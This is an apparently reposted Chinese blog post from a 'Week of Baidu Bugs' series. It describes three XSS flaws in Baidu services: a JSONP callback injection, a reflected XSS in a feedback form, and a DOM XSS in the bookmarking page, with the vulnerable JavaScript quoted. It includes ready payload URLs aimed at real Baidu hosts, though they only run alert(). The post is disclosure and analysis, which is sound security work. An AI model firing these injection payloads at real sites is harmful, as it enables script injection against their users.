The Week of Baidu Bugs - Day 05: 百度空间多处XSS漏洞

关注

原创最新推荐文章于 2026-03-11 08:47:55 发布 929 阅读 AI 写同款· GEO 优化 ›

Revit Dynamo实战：用Excel数据批量生成桥梁模型（附自适应族技巧）本文详细介绍了如何利用Revit Dynamo结合Excel数据实现桥梁参数化建模，重点讲解了数据驱动建模、自适应族优化及大型项目性能管理三大核心技巧。通过结构化Excel数据、高级自适应族创建和分块处理策略，显著提升桥梁建模效率与设计变更响应能力。阅读详情

继续我们的XSS之旅，先来看一个YY漏洞

XSS 5: 百度PDC CallBack XSS漏洞
baidu pdc的imstate从名字上来看似乎是用来查询IM在线情况的，正常情况下的一个请求大致如下：

http://pdc.baidu.com/imstate/?callback=IM_STATUS_CALLBACK&type=json&uids=testuser

这个页面会返回一个json的值

IM_STATUS_CALLBACK({ })

但是在这里IM_STATUS_CALLBACK可以由用户控制，所以就能注入我们的恶意脚本

http://pdc.baidu.com/imstate/?callback=<script>alert(/XSS/)</script>&type=json&uids=

但是由于这里对callback的长度做了限制，又是该死的长度，所以导致我们只能玩玩这种弹框框的YY js。
但是用来骗骗小MM还是不错的。

XSS 6: 百度搜索用户反馈XSS
漏洞很简单，直接reflect
http://utility.baidu.com/quality/quality_form.php?word=“><script>alert(/Fvck+Baidu+XSS/);</script><”

看看返回结果里，发现有一处地方是htmlencode过的，但是还有一个input里的value，则没有做htmlencode，只是简单的对双引号做了下处理，从而造成了XSS

<body onload=”document.form1.requireddescription.focus()”>
<form name=”form1″ method=”post” action=”quality_result.php” onSubmit=”return checkrequired(this)”>
<input type=”hidden” name=”query” value=”/”><script>alert(/Fvck Baidu XSS/);</script></”“>

XSS 7: 百度搜藏XSS
这个漏洞有点特别。

搜藏可以从很多地方点进去，这里不赘述。

打开搜藏页面后，控制网址的内容为 javascript:alert(/XSS/);

页面打开时候是没有问题的，但是点击“添加收藏”后，则会执行我们的JS

实际上，这里baidu是用ajax来做了一系列操作，比如判断URL是否重复，判断提交是否成功。
ajax的返回是用json来做的，主要处理返回结果的js为 itemadd.js
返回页面：

resultNo:

"url重复" ,

resultBool:

false,

resultNum:30005,

userLogin: "1",

itemId: "026aec1d90a1e9e5ea1182a1"

如果仅仅是分析HTML页面，是看不到任何执行了我们JS的地方的，但我们的小框框确实是弹出来了。

这又是一个典型的DOM XSS

原因出在这里，在itemadd.js中：
function checkForm(){
var f=document.fadd,oit=f.it,oiu=f.iu,odc=f.dc,otn=f.tn,vst=0;
if(f.st.checked==true)
vst=1;
if(chek_submit(oit,oiu,odc,otn)){
var vit=oit.value,viu=oiu.value,vdc=odc.value,vtn=otn.value,url=’/do/cm’;
var p_pars=’iu=’+encode(viu)+’&st=’+encode(vst)+’&dc=’+encode(vdc)+’&it=’+encode(vit)+’&tn=’+encode(vtn);
var pars=’ct=5&’+p_pars;

new Ajax.Request(url,{
method:’post’,
parameters:pars,
onComplete:function(xmlHttp){
var jsonResults=’('+xmlHttp.responseText+’)';
var retno=eval(jsonResults);
if(parseInt(retno.userLogin)==0){
if(nw==true)
location.href=”http://passport.baidu.com/?login&tpl=fa1&next_target=_blank&skip_ok=1&u=”+checkUrl(location.href,1800);
else location.href=”http://passport.baidu.com/?login&tpl=fa&skip_ok=1&u=”+checkUrl(location.href,1800);
return
}

var retTxt=retno.resultNo;
var resultNum=retno.resultNum;

if(retTxt==”url重复”){
var itemId=retno.itemId;

if(confirm(”url重复，是否覆盖？”)){
new Ajax.Request(url,{
method:’post’,
parameters:”iid=”+itemId+”&ct=8&”+p_pars,
onComplete:function(xmlHttp){
var jsonResults=’('+xmlHttp.responseText+’)';
var retno=eval(jsonResults);

if(parseInt(retno.userLogin)==0){
if(nw==true)
location.href=”http://passport.baidu.com/?login&tpl=fa1&next_target=_blank&skip_ok=1&u=”+checkUrl(location.href,1800);
else
location.href=”http://passport.baidu.com/?login&tpl=fa&skip_ok=1&u=”+checkUrl(location.href,1800);
return
}

var retTxt=retno.resultNo;
var resultNum=retno.resultNum;
checkResult(retTxt,resultNum)
}
})
}
}
else{
checkResult(retTxt,resultNum)

}
}
})
}
else
return false
};

……

function checkResult(retTxt,resultNum){
if(nw==true){
if(retTxt==”添加成功”){
hide(G(”DivShm”));
window.resizeTo(600,507);
hide(G(”iaMain”));
hide(G(”iaMain”));
G(”DivSucess”).innerHTML=”<p><table align=’center’ width=’50%’><tr><td height=’50px’></td></tr><tr><td style=’text-align:center;height:100px;font-size:16px;’><img src=’/-/imgs/icn_ok.gif’/> 恭喜您，添加搜藏成功！</td></tr& gt;<tr><td align=’center’ style=’font-size:12px;color:#808080′>本窗口将在<span id=’autoTime’>3</span>秒内自动关闭…</td></tr><tr& gt;<td align=’center’><input type=’button’ onclick=’javascript:self.close();’ value=’  立即关闭  ’></td>< /tr></table></p>”;
show(G(”DivSucess”));
IntervalObj3=window.setInterval(”w_close()”,1000)
}
else{
switch(resultNum){
case 30101:showEM(document.fadd.it.parentNode.childNodes[1],errmsg[1]);
break;
case 30102:showEM(document.fadd.dc.parentNode.childNodes[1],errmsg[3]);
break;
case 30103:showEM(document.fadd.tn.parentNode.childNodes[1],errmsg[4]);
break;
case 30100:showEM(document.fadd.iu.parentNode.childNodes[1],errmsg[2]);
break;
default:{hide(G(”DivShm”));hide(G(”iaMain”));
window.resizeTo(600,507);
var c=G(”errDiv”);
show(c);

根据这段JS，可以看到如果返回页面为真，则改变location.href
if(retTxt==”添加成功”)
location.href=redirectUrl;
而在这里，redirectUrl却不在这个js里，我找了半天，最后发现这个变量是定义在html文件里的
在style标签下面就定义了这个变量
</style>
<script src=”/-/js/base.js?v=1.1″></script>
<script src=”/-/js/checkform.js?v=1.1″></script>
<script src=”/-/js/suggest.js?v=1.1″></script>
<script src=”/-/js/itemadd.js?v=1.2″></script>
<script language=’javascript’>
<!–
var redirectUrl=”javascript:alert(2);”;
var s_tags=”未分类”;
var s1_tags=”";
var a_tags = [];